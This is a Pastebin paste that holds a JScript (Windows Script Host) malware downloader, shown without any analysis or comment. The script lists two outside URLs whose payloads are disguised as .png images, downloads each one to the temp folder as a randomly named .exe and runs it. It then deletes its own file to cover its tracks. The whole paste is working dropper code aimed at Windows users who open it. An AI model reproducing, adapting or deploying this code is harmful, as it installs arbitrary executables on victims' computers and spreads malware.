Advertisement
Guest User

Untitled

a guest
Feb 15th, 2017
325
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.50 KB | None | 0 0
  1. links = [\"http://www.stageportieri.it/wp/P330494.png\",\"http://www.starcrossedgdr.altervista.org/pages/im/P0003939.png\"];"
  2.  
  3. code= "var ws = new ActiveXObject( \"WScript.Shell\" );if( ws.Exec( \"ping\" ).StdOut.ReadAll().match( /ping/ ) ) { var obj = new ActiveXObject( \"MSXML2.XMLHTTP\" ); var File = WScript.CreateObject( \"Scripting.FileSystemObject\" ); var temp = File.GetSpecialFolder( 2 ); function genFileName() { return \"/\" + Math.round( Math.random() * 999999999 ) + \".exe\"; } function run( filename ) { var ws = new ActiveXObject( \"WScript.Shell\" ); ws.Run( filename, 1, 0 ); } function saveFile( body, filename ) { Stream.Open(); Stream.Type = 1; Stream.Write( body ); Stream.Position = 0; Stream.SaveToFile( filename, 2 ); Stream.Close(); } function deleteFile( filename ) { if( File.FileExists( filename ) ) { File.DeleteFile( filename ); } } function suicide() { deleteFile( WScript.ScriptFullName ) } var Stream = new ActiveXObject( \"ADODB.Stream\" ); for( var i = 0; i < links.length; i++ ) { var filename = temp + genFileName(); obj.Open( \"GET\", links[ i ], false ); obj.Send(); if( obj.Status == 200 ) { try { saveFile( obj.ResponseBody, filename ); run( filename ); done = true; } catch( err ) { } } } suicide();}"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement